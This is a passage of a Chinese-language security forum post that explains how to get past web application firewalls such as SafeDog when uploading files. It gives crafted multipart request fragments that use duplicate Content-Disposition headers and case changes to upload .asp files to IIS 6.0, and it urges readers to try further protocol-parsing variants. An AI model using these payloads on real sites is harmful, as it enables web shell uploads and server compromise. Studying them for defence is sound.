突破10 经过对IIS 6.0的测试发现，其总是采用第一个Content-Disposition中的值做为接收参数，而安全狗总是以最后一个Content-Disposition中的值做为接收参数。因此尝试构造如下请求[上传test.asp成功]：
[mw_shl_code=bash,true]Content-Disposition: form-data; name=”FileUploadName”; filename=”test.asp”
—————————–15377259221471
Content-Disposition: form-data; name=”FileUploadName”; filename=”test.txt”

name=”FileUploadName”; filename=”test.asp”[/mw_shl_code]
突破11 换位

Content-Type: text/html
ConTent-Disposition: form-data; name=”filepath”; filename=”a.asp”[/mw_shl_code]
在上述的方法中，还有些方法可以过安全狗，也可以过D盾、360网站卫士等等。另外从上述方法中，若按你们的想法，会分成那些类型？我在这里统一划分为特性和WAF解析不当(PS下，我不是学术派，较口语化)i，特性包括系统特性，协议特性等等，比如上述中，大多数都属于协议的特性，因为FORM-DATA的协议十分松散；部分属于系统特性，比如加空格、点号、NTFS流等等。而解析不当，比如上述的第二种添加一个filename1，这种在正常情况下无法使用的，如果第0种，对特殊字符无法解析，归根到底也是WAF对内容解析的不当处理。
针对于特性，在上传这一块，好像能用到的就只有系统特性和协议特性，系统特性从系统出现到现在才挖掘出那么一点点，对于我等菜鸟而言，就更难挖掘了。于是我们就把目光放到协议上。

上述方法我们已经开始测试，那么，有没有想过。既然你们想得到用window特性来+空格，有没有想过用协议来+-空格

上面的方法可以延伸很多种了，记住一点，什么可以替换空格！
接下来，我们在根据之前公布的方法 ，大小写

然后，这里在针对一个漏洞结合下，记得form-data中见存在一个+号吗，为什么不能放到前面或者后面
